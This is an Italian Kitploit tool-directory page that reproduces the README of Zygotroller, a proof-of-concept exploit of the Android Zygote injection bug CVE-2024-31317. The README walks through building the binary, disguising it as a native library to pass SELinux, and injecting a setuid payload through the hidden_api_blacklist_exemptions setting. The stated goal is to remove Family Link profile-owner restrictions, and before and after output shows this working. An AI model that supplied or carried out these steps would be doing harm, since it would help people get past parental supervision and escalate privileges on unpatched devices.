Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Zygotroller — Rimuovi i proprietari di profili Android/collegamento Family Link con CVE-2024-31317 | Kitploit
Strumenti/GitHubGitHub/rifting/zygotroller
Sicurezza AndroidEscalation di PrivilegiAnalisi delle VulnerabilitàExploitSicurezza MobileSviluppo Payload
GitHubrifting/zygotroller

Zygotroller

Rimuovi i proprietari di profili Android/collegamento Family Link con CVE-2024-31317

Vedi Repository
411 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Zygotroller

Rimuovi i proprietari del profilo/Family Link su qualsiasi dispositivo con modalità sviluppatore precedente a giugno 2024 (Android 12+)

Zygotroller è una prova di concetto in grado di rimuovere un proprietario del profilo e le relative restrizioni sfruttando il bug di iniezione Zygote di CVE-2024-31317. Richiede la modalità sviluppatore e che la patch di sicurezza più recente sia antecedente a giugno 2024.

Il sistema di controllo parentale di Google, Family Link, viene mostrato come esempio in questo repository.

Utilizzo

Avrai bisogno di un dispositivo abbastanza moderno con una distribuzione basata su Debian per compilare Zygotroller. I precompilati potrebbero essere disponibili o meno a seconda del momento in cui leggi.

Purtroppo questo si basa su parti interne di Android, quindi devi clonare l'intero codice sorgente di Android per compilare Zygotroller. Assicurati di avere almeno 400 GB di spazio libero, anche se probabilmente ne userai meno.

IMPORTANTE SE USI WSL: Assicurati di avere MOLTO swap, altrimenti WSL si bloccherà. Io ho usato 32 GB:

root@kitploit:~
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile

Ora per clonare il sorgente AOSP:

root@kitploit:~
mkdir ~/aosp
cd ~/aosp

repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest

repo sync -c -j8 (potrebbe richiedere più tentativi a causa dei limiti di velocità)

source build/envsetup.sh

lunch aosp_cf_arm64_only_phone-aosp_current-eng (se lo stai testando su un emulatore, cambia arm64 in x86_64)

cd ~/aosp/external

git clone https://github.com/rifting/Zygotroller

cd Zygotroller

Ora dobbiamo modificare i valori nello script con il nostro effettivo proprietario del profilo e l'opcode per clearProfileOwner. Il proprietario del profilo può essere nel pacchetto "supervision" dei servizi Google Play o nei servizi Google Play stessi. Esegui dpm list-owners, il mio risultato era:

root@kitploit:~
$ dpm list-owners
1 owner:
User  0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner

Questo ci fornisce due informazioni necessarie per Zygotroller: il nome del pacchetto (com.google.android.gms.supervision) e il nome della classe (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver).

Modifica zygotroll.cpp con il tuo editor di testo preferito e aggiorna queste righe con il componente del proprietario del profilo:

root@kitploit:~
    // Family Link profile owner
    std::string pkg = "com.google.android.gms.supervision";
    std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";

Ora devi trovare l'opcode per la funzione clearProfileOwner di DPM. Per me era "91", ma varia a seconda della versione/tipo di Android che stai usando. Per ottenere l'opcode per clearProfileOwner, ho usato android-svc con il comando

android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'

Il numero che vedi nell'output sarà l'opcode per clearProfileOwner, apri di nuovo zygotroll.cpp con il tuo editor di testo preferito e modifica il numero qui, con il tuo opcode effettivo:

root@kitploit:~
    // Transaction code 91 was ClearProfileOwner for my device
    dpm->transact(91, data, &reply);

Dovresti fare lo stesso con setUserRestriction:

root@kitploit:~
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);

Ora dobbiamo compilare zygotroller:

mm

Questa operazione può richiedere MOLTO tempo alla prima compilazione, le successive richiederanno meno di 1 minuto sulla maggior parte dei computer moderni.

Trova il binario in ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller

Ora dobbiamo creare un'app che contenga questo binario come "libreria condivisa" che è in realtà l'eseguibile Zygotroller, in modo che SELinux ci permetta di eseguirlo. Puoi usare il mio repository "CopyNativeLib" per questo:

git clone https://github.com/rifting/CopyNativeLib.git

Quindi rinomina il binario Zygotroller in libzygotroller.so e mettilo in app/src/main/jniLibs/arm64-v8a (suppongo che questa sia l'architettura del tuo telefono). Compila l'APK in Android Studio e installalo sul dispositivo con adb install.

Il proprietario del profilo di Family Link per me aveva userid 10090, alias u0_a90 Esegui dumpsys package com.google.android.gms.supervision | grep userId=

Ora dai un'occhiata a payload.sh, su questa riga

inject='\n--setuid=10090...

Modifica l'UID qui da 10090 al tuo UID ottenuto dal comando dumpsys. Se è lo stesso ID, lascialo.

Guarda poco più avanti su quella riga e vedrai

...echo zYg0te $(LD_LIBRARY_PATH=[percorso della tua libreria nativa] [percorso della tua libreria nativa])...

(i tre punti indicano troncamento)

Devi sostituire questi con i percorsi della libreria nativa che hai appena installato sul dispositivo. Esegui pm path com.rifting.copynativelib. Il percorso del file sarà la directory padre dell'APK mostrata come output del comando, + lib/arm64-v8a/libzygotroller.so. LD_LIBRARY_PATH deve essere la directory della libreria, e poi il percorso effettivo della libreria dopo di essa. Quindi quella riga finirà per assomigliare a qualcosa del genere:

...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...

Ci sei quasi! Trasferisci questo file su /data/local/tmp

adb push payload.sh /data/local/tmp

Imposta i permessi:

chmod +x /data/local/tmp/payload.sh

E infine, invia il suo output a hidden_api_blacklist_exemptions!

settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"

Ora imposta questo a "0" per evitare un bootloop :) settings put global hidden_api_blacklist_exemptions 0

Dovresti vedere che il proprietario del profilo di Family Link e tutte le relative restrizioni sono state rimosse. Vai in Impostazioni e gestisci gli account, e rimuovi l'account supervisionato dal dispositivo. Congratulazioni!

Prima:

root@kitploit:~
$ dpm list-owners
1 owner:
User  0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
root@kitploit:~
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
    <restrictions_user user_id="0">
      <restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
    </restrictions_user>
  </device_policy_local_restrictions>
...

Dopo:

root@kitploit:~
$ dpm list-owners
no owners
emu64xa:/ $
root@kitploit:~
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...

Ringraziamenti Speciali

gburca per BinderDemo

L'ottimo blog di LLeaves su questa CVE

Scarica lo strumento